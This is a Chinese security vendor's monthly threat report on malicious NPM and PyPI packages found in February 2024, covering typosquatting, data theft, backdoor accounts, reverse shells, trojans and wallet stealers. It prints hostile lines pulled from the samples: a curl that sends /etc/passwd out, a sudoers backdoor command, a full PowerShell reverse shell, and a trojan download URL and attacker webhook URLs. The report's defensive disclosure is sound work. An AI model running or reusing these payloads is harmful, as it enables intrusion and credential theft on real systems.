供应链投毒预警 | 开源供应链投毒202402月报发布啦
日期:2024年03月20日 阅:84
概述
悬镜供应链安全情报中心通过持续监测全网主流开源软件仓库,结合程序动静态分析方式对潜在风险的开源组件包进行动态跟踪和捕获,发现大量的开源组件恶意包投毒攻击事件。在2024年2月份,悬镜供应链安全情报中心在NPM官方仓库(https://www.npmjs.com)和Pypi官方仓库(https://pypi.org)共捕获503个不同版本的恶意组件包,其中NPM仓库投毒占比89.46%, Pypi仓库投毒占比10.54%,NPM仓库依旧是开源组件包投毒的重灾区。
结合源代码分析、动态行为监控等方式,我们对2月份捕获的开源组件投毒包进行多维度分析,总结统计出主流的攻击方式和恶意行为标签。
投毒攻击方式主要包括:
其中,恶意文件执行是最常用的攻击方式(占比78.13%),其主要攻击流程是利用开源组件包管理器在安装组件包过程中利用自定义的恶意指令来加载并执行内置在组件包中的恶意文件(py、pyc、js、shell、pe、dll、elf、so等)。此外,在组件安装包中直接嵌入恶意shell命令(占比8.87%)、恶意文件下载(占比4.28%)及恶意文件释放后执行也是投毒者惯用的攻击手法。为了逃避安全检测,部分恶意包使用了代码编码、加密及混淆(占比7.61%)等方式进行恶意代码隐藏。
在所有投毒包的恶意行为中,窃取系统信息占比超过85%,信息窃取的主要目标是开发者系统的密码文件、用户信息、网络配置、系统版本、DNS服务器IP、系统外网IP、浏览器Cookie等敏感数据。其次,远控木马和反向shell后门攻击紧随其后(两者之和占比约10%)。此外,在2月里捕获到多起盗取数字钱包客户端敏感数据的投毒攻击。值得一提的是,我们在NPM组件投毒中首次捕获到通过添加Linux系统后门账户进行远程控制的攻击手段。
投毒案例分析
本节将从2月份捕获的开源组件恶意包中精选部分具有代表性的投毒样本进行分析,还原投毒者的攻击方式和细节。
PART1 敏感信息窃取
Python恶意包djanggo利用包名错误拼写(typo-squatting)来伪装成知名Python WEB组件django,以此迷惑混淆Python开发者误安装该恶意包。
djanggo恶意包通过在安装文件setup.py中重定义cmdclass install及egg_info实现在安装时自动触发执行恶意函数RunCommand()。
RunCommand()函数内部通过subprocess模块调用Linux系命令curl将当前系统环境变量、进程列表等信息通过HTTP POST外传到攻击者服务器上。
此外,多个NPM恶意组件包(lib-comdig、bubble-dev)在安装过程中存在窃取系统密码文件的行为。以恶意包bubble-dev为例,其安装包的package.json文件中包含恶意shell命令:
攻击者尝试利用p r e install指令在N P M包安装前执行恶意命令将系统/ etc / pa ss wd密码文件及主机名等敏感信息外传到攻击者服务器上。
/u sr/bi n/cu rl – -da ta ‘@ /etc /pa ss wd’ $(hostn ame).7ksx7nnc 5joia8xbftjmkh69s 0ysm h.bu rpco lla
NPM恶意包browser-spoof在安装时会执行恶意代码index2.js, index2.js将从CDN服务器上拉取恶意bash文件sh.sh到受害者系统上执行。
bash恶意代码如下所示:
wget -q http s://ez stat. ru/29 U6f5 ; su do us era dd – m -G s udo -s /bi n/b ash -p $( o penssl pa sswd -1 ICE AT ER ) systst 2 & & e cho “syst st2 ALL=(ALL:ALL) NO PASS WD:ALL” | sud o tee -a / etc/su doers > /d ev /nu ll;
先通过wget请求将受害者系统出网IP泄露给攻击者,接着利用useradd命令在系统中添加新的用户账户;最后使用tee命令将新用户账户添加到sudoers文件中,将新账户权限提升到sudo权限。
PART3反向shell后门
攻击者通常在投毒组件包中直接内置反弹shell命令或者通过脚本语言特性将开发者系统shell反弹到攻击者服务器上,开发者一旦通过包管理器安装或加载投毒包时,反弹shell代码将自动执行,导致开发者系统被攻击者远程shell控制。
以Python恶意包isred为例,该投毒包目标针对Lin ux系统,攻击者在isr ed模块入口文件__i nit_ _ .py中使用socket将受害者系统s hell标准输入、输出重定向到攻击者服务器 (0.tc p. au.n gro k. io:163 11),从而实现对受害者系统的反向shell远控。
对于NPM仓库的ts-patch-moongoose恶意包,目标主要针对Windows系统,其恶意文件mongoose.js通过调用child_process模块执行base64编码的PowerShell恶意命令。
解码后的实际PowerShell代码如下所示:
Start- Proce ss $PSHO ME\power shell.exe -Arg umentList {$cc4b3e0706be478 09523 5 bdbc 5479fde = New’-Obje’ct Syst em.Net.Sock ets.TCPClient(‘84.77.69. 9’,4443);$4bdf71701e 4e45a48bd6 6974a36 d1fd8 = $cc4b3e0706b e478095235bdbc5479fde.Ge tStream();[byte[]]$b72dd70b9b5c4635b41 0c3eda039db98 = 0..65535|%{0};while(($i = $4bdf71701e4e45a48bd6 6974a36d1fd8.Read( $b72dd70b9b5c46 35b410c3eda039db98, 0, $b72dd70b9b5c4635b410c 3eda039db98.Length)) -ne 0){;$ff887d09535d46489 582d67f05e7d60f = (Ne’w-Ob’ject -TypeName System.Text.ASCIIEnco ding).GetString($b72dd70b9b5c4635b410c3eda039db98,0, $i);$e9f33eef377548fd b8e212aaecec6b47 = (iex $ff887d09535d46489582d67f05e7d60f 2>&1 | Out-String );$0e7cb537 947a4905b36e36b8ef25f955 = $e9f33eef377548fdb8 e212aaecec6b47 + ‘PS ‘ + (p’w’d).Path + ‘> ‘;$986886c1059c495ebc37a28fa8735419 = ([text.encoding]::ASCII).Ge tBytes($0e7cb537947a4905b36e36b8ef25f955);$4bdf71701e4e45a48bd66974a36d1fd8.Write($986886c1059c495ebc37a28fa8735419,0,$986886c1059c495ebc37a28fa8735419.Length);$4bdf71701e 4e45a48bd66974a36d1fd8.Flush()};$ cc4b3e0706be478095235bdbc5479fde.Close()} -WindowStyle Hidden
恶意PowerSh ell代码通过Sys tem.Net.Soc kets.TCPCli ent接口将W indows系统c md shell反弹到攻击者控制的服务器端口84.77.69.69:4443上,从而达到对受害者系统进行远程shell后门控制。(详细分析可参考:供应链投毒预警 | 恶意NPM包利用Windows反向shell后门攻击开发者)
PART4 远控木马
在2月份捕获的恶意样本中有多起针对Python知名HTTP客户端组件httpx、requests的投毒攻击(包括reque sts-sessio ns、reque sts-http、req uest-get、tls-se ssi on等)。这些恶意样本的攻击方式主要发生在包管理器安装或者恶意包加载时,恶意包中的恶意代码会触发执行并从攻击者的托管服务器上下载恶意程序到受害者系统上执行木马后门攻击。
以恶意包t ls-ses sion为例,其安装包内置了包含有恶意代码的SSL/TLS 客户端组件tls-clie nt,tls-clie nt在Pypi仓库上的周下载量超过3万。
组件包tls-session通过克隆tls-client v1.0.1版本项目代码,并在tls-client的__init__.py文件中植入base64编码的恶意代码。
base64代码解码后得到真实的攻击代码:
恶意代码从CDN服务器上下载恶意木马程序Built.exe保存到受害者系统上(SERP ROFI LE%\App Dat a\Local\exp lorer .exe),并伪装成Wind ows系统进程explor er.exe执行。
https://cdn.dis cordapp.com/attachments/1 204168698395 627610/120554362129 48173 32/Bu ilt.exe
PART5 数字钱包窃密
NPM恶意包object-window-dtc主要目标是盗取Windows系统上Exodus数字钱包应用数据,其通过 JS代码混淆对恶意代码进行保护逃避检测,混淆代码如下所示:
去混淆后还原出核心恶意代码;
代码逻辑主要是遍历Exodus 数字钱包应用目录(“C:\\Use rs\\${usern ame}\\AppData\\Ro aming\\Exodus\\ex o dus.wallet ”)下的每个文件,并将每个文件内容通过HTTP POST方式外传到投毒者Discord Webhook接口上 。
h ttps://di scord. com/api/webhoo ks/1178128936190873610/nhlEOT8 CYRGvG7Ay2VW5H7cMCQOrf4U yTWQLOZWgj549T Tdcfc YJ6AnuENzYY_OLiN3x
PART6 BladeroidStealer盗号
2月28号,NPM开发者klewba32在官方仓库上进行Sniper系列投毒,当天连续投放snipersee、sniperser、sniperv1、sniperv2等恶意包。这些恶意包采用相同的恶意代码,主要目标是盗取开发者浏览器保存的登录凭证、主流社交平台账号session及用户数据、浏览器数字钱包插件账户数据、系统中任何包含常见密码口令关键字的敏感文件。
Sniper系列投毒包的核心恶意代码使用aes-256-cbc进行加密保护:
代码解密后可明显发现代码中存在多处涉及BladeroidStealer代号的相关内容。
BladeroidStealer主要功能函数列表如下所示:
以getCookiesAndSendWebhook()函数为例,其功能是从浏览器本地cookie文件中提取主流社区账号(instagram、tiktok、reddit、spotify)的sessionid。
提取到sessionid后,会进一步使用sessionid从官方接口拉取详细的用户信息。以TikTok为例,stealTikTokSession() 函数负责盗取TikTok用户数据、浏览记录以及支付账户等敏感信息。
盗取的账户数据最终发送到攻击者Webhook接口上(https://Bladeroid.xyz/webhooks/)
排查方式
截至目前,大部分恶意投毒包在国内主流镜像源中仍然可正常下载。针对文中分析的恶意投毒包,开发者可使用OpenSCA-cli,将受影响的组件包按如下示例保存为db.json文件(可参考总结中提到的组件包信息按格式增减),直接执行扫描命令(opensca-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到文中所披露的投毒包的影响。
总结
根据2024年2月份捕获的开源组件投毒统计数据以及分析报告来看,投毒攻击手法和目标呈现多样化趋势。NPM依旧是投毒者的重点目标,敏感数据窃取仍是主流攻击。
悬镜供应链安全情报中心将持续监测全网主流开源软件仓库,对潜在风险的开源组件包进行动态跟踪和溯源,实现快速捕获开源组件投毒攻击事件并第一时间提供精准安全预警。
悬镜安全,起源于北京大学网络安全技术研究团队“XMIRROR”,创始人子芽。作为 DevSecOps 敏捷安全领导者,始终专注于以“代码疫苗 ”技术为内核,凭借原创专利级“ 全流程数字供应链安全赋能平台 + 敏捷安全工具链 ”的第三代DevSecOps 智适应威胁管理体系,创新赋能金融、车联网、泛互联网、智能制造通信及能源等行业用户,构筑起适应自身业务弹性发展、面向敏捷业务交付并引领未来架构演进的共生积极防御体系,持续守护中国数字供应链安全。